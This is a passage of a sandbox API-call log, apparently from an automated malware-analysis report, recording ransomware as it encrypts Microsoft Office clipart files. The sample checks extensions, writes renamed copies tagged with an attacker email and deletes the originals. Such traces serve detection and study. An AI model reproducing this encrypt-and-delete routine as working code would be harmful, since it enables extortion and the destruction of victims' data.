lpString2=".WMF") returned -1 [0143.481] lstrlenW (lpString=".7z") returned 3 [0143.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.481] lstrlenW (lpString=".dbf") returned 4 [0143.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.481] lstrlenW (lpString=".1cd") returned 4 [0143.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.481] lstrlenW (lpString=".jpg") returned 4 [0143.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.481] lstrlenW (lpString=".doc") returned 4 [0143.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.482] lstrlenW (lpString=".docx") returned 5 [0143.482] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0143.482] lstrlenW (lpString=".pdf") returned 4 [0143.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.482] lstrlenW (lpString=".xls") returned 4 [0143.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.482] lstrlenW (lpString=".xlsx") returned 5 [0143.482] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0143.482] lstrlenW (lpString=".ppt") returned 4 [0143.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.482] lstrlenW (lpString=".zip") returned 4 [0143.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.482] lstrlenW (lpString=".rar") returned 4 [0143.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.482] lstrlenW (lpString=".bz2") returned 4 [0143.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.482] lstrlenW (lpString=".7z") returned 3 [0143.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.482] lstrlenW (lpString=".dbf") returned 4 [0143.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.482] lstrlenW (lpString=".1cd") returned 4 [0143.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.483] lstrlenW (lpString=".jpg") returned 4 [0143.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.483] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.483] lstrlenW (lpString="J0105386.WMF") returned 12 [0143.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.607] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5980) returned 1 [0143.607] CloseHandle (hObject=0x530) returned 1 [0143.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0143.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0144.100] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.100] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.101] GetLastError () returned 0x0 [0144.101] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x175c, lpOverlapped=0x0) returned 1 [0144.102] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1760, lpOverlapped=0x0) returned 1 [0144.103] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.103] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.103] SetEndOfFile (hFile=0x568) returned 1 [0144.103] CloseHandle (hObject=0x568) returned 1 [0144.103] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.103] SetEndOfFile (hFile=0x370) returned 1 [0144.108] CloseHandle (hObject=0x370) returned 1 [0144.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0144.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.109] lstrlenW (lpString=".doc") returned 4 [0144.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.109] lstrlenW (lpString=".docx") returned 5 [0144.109] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.109] lstrlenW (lpString=".pdf") returned 4 [0144.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.109] lstrlenW (lpString=".xls") returned 4 [0144.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.109] lstrlenW (lpString=".xlsx") returned 5 [0144.109] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.109] lstrlenW (lpString=".ppt") returned 4 [0144.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.109] lstrlenW (lpString=".zip") returned 4 [0144.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.109] lstrlenW (lpString=".rar") returned 4 [0144.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.109] lstrlenW (lpString=".bz2") returned 4 [0144.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString=".7z") returned 3 [0144.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.110] lstrlenW (lpString=".dbf") returned 4 [0144.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.110] lstrlenW (lpString=".1cd") returned 4 [0144.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.110] lstrlenW (lpString=".jpg") returned 4 [0144.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.110] lstrlenW (lpString=".doc") returned 4 [0144.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString=".docx") returned 5 [0144.110] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.110] lstrlenW (lpString=".pdf") returned 4 [0144.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString=".xls") returned 4 [0144.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.110] lstrlenW (lpString=".xlsx") returned 5 [0144.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.110] lstrlenW (lpString=".ppt") returned 4 [0144.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.110] lstrlenW (lpString=".zip") returned 4 [0144.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.110] lstrlenW (lpString=".rar") returned 4 [0144.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString=".bz2") returned 4 [0144.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.110] lstrlenW (lpString=".7z") returned 3 [0144.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.111] lstrlenW (lpString=".dbf") returned 4 [0144.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.111] lstrlenW (lpString=".1cd") returned 4 [0144.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0144.111] lstrlenW (lpString=".jpg") returned 4 [0144.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.113] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5156) returned 1 [0144.113] CloseHandle (hObject=0x370) returned 1 [0144.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0144.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0144.114] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.114] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.115] GetLastError () returned 0x0 [0144.115] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1424, lpOverlapped=0x0) returned 1 [0144.120] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1430, lpOverlapped=0x0) returned 1 [0144.121] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.121] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.121] SetEndOfFile (hFile=0x568) returned 1 [0144.121] CloseHandle (hObject=0x568) returned 1 [0144.121] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.121] SetEndOfFile (hFile=0x370) returned 1 [0144.124] CloseHandle (hObject=0x370) returned 1 [0144.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0144.125] lstrlenW (lpString=".doc") returned 4 [0144.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.125] lstrlenW (lpString=".docx") returned 5 [0144.125] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.125] lstrlenW (lpString=".pdf") returned 4 [0144.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.125] lstrlenW (lpString=".xls") returned 4 [0144.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.125] lstrlenW (lpString=".xlsx") returned 5 [0144.125] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.125] lstrlenW (lpString=".ppt") returned 4 [0144.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0144.125] lstrlenW (lpString=".zip") returned 4 [0144.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.125] lstrlenW (lpString=".rar") returned 4 [0144.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.125] lstrlenW (lpString=".bz2") returned 4 [0144.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.125] lstrlenW (lpString=".7z") returned 3 [0144.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0144.125] lstrlenW (lpString=".dbf") returned 4 [0144.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0144.125] lstrlenW (lpString=".1cd") returned 4 [0144.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0144.126] lstrlenW (lpString=".jpg") returned 4 [0144.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.126] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5472) returned 1 [0144.126] CloseHandle (hObject=0x370) returned 1 [0144.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0144.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0144.127] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.127] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.128] GetLastError () returned 0x0 [0144.128] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1560, lpOverlapped=0x0) returned 1 [0144.140] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1570, lpOverlapped=0x0) returned 1 [0144.140] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.141] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.141] SetEndOfFile (hFile=0x568) returned 1 [0144.141] CloseHandle (hObject=0x568) returned 1 [0144.141] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.141] SetEndOfFile (hFile=0x370) returned 1 [0144.143] CloseHandle (hObject=0x370) returned 1 [0144.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0144.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0144.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0144.144] lstrlenW (lpString=".doc") returned 4 [0144.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.144] lstrlenW (lpString=".docx") returned 5 [0144.144] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0144.144] lstrlenW (lpString=".pdf") returned 4 [0144.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.144] lstrlenW (lpString=".xls") returned 4 [0144.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.144] lstrlenW (lpString=".xlsx") returned 5 [0144.144] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0144.144] lstrlenW (lpString=".ppt") returned 4 [0144.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0144.145] lstrlenW (lpString=".zip") returned 4 [0144.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.145] lstrlenW (lpString=".rar") returned 4 [0144.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.145] lstrlenW (lpString=".bz2") returned 4 [0144.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.145] lstrlenW (lpString=".7z") returned 3 [0144.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0144.145] lstrlenW (lpString=".dbf") returned 4 [0144.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0144.145] lstrlenW (lpString=".1cd") returned 4 [0144.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0144.145] lstrlenW (lpString=".jpg") returned 4 [0144.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.145] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4148) returned 1 [0144.145] CloseHandle (hObject=0x370) returned 1 [0144.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0144.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0144.146] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.146] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.147] GetLastError () returned 0x0 [0144.147] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1034, lpOverlapped=0x0) returned 1 [0144.320] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1040, lpOverlapped=0x0) returned 1 [0144.321] ReadFile (in: hFile=0x370, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.321] WriteFile (in: hFile=0x568, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0144.321] SetEndOfFile 